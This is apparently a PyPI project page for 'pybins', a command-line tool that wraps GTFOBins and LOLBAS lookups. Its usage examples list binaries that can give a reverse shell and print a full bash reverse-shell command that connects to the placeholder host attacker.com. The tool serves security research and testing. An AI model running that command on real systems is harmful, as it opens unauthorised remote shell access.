PyBins
PyBins is a command line utily that wraps the content of GTFOBins and LOLBAS
Instalation:
pip install pybins
Usage:
usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]
PyBins Cmd Line wraper for GTFOBin and LOLBas
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Select the platform to lookup, Win/Windows or
Lin/Linux, case insensitive
-b BINARY, --binary BINARY
The binary to lookup
-f FUNCTION, --function FUNCTION
The function to lookup
Examples
List platform available binaries and functions/categories:
pybins -p winpybins -p windowspybins -p linpybins -p linux
List all linux binaries with reverse-shell function:
pybins -p lin -f reverse-shellpybins -p linux -f reverse-shell
Output
The Function reverse-shell has the following binaries:
nc perl ksh rview cpan node telnet irb
python gdb pip bash view openssl gimp rvim
socat vim php jrunscript jjs ruby vimdiff easy_install
List all functions of the Linus binary bash
pybins -p lin -b bashpybins -p linux -b bash
Output
The binary bash has the following categories:
shell reverse-shell file-upload file-download file-write file-read library-load
suid sudo
List all the commands for the binary bash and function reverse-shell on linux
pybins -p lin -b bash -f reverse-shellpybins -p linux -b bash -f reverse-shell
Output
Description: Run `nc -l -p 12345` on the attacker box to receive the shell.
Command: export RHOST=attacker.com
export RPORT=12345
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
Metadata
Release files for pybins 1.0.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| pybins-1.0.1.tar.gz | 71.5 kB | Without provenance | Details for pybins-1.0.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| pybins-1.0.1-py3-none-any.whl | Python 3 | none | any | Details for pybins-1.0.1-py3-none-any.whl |
Total release size: 208.9 kB
Release files / pybins-1.0.1.tar.gz
| Download URL | pybins-1.0.1.tar.gz |
|---|---|
| Size | 71.5 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
34fb0a0e0691067f9dd604d5fb128e6348cf5055316dcdd642abdea17eff3b1f
|
|
BLAKE2b-256 checksum How to use checksums |
b1a9f9fb2d972bfecaadc7198636780e988ae64f55afa1bc22268ca88fb1f7d5
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3
|
Release files / pybins-1.0.1-py3-none-any.whl
| Download URL | pybins-1.0.1-py3-none-any.whl |
|---|---|
| Size | 137.5 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
6f06b397d56efdf95cb945e70df7cf7246c88bd080f3c671566e28b61b5494ea
|
|
BLAKE2b-256 checksum How to use checksums |
d4bb4ff1861ab51e0545183c063447f9dba315920e2035c9d29193589fd6e542
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3
|
Security for pybins 1.0.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.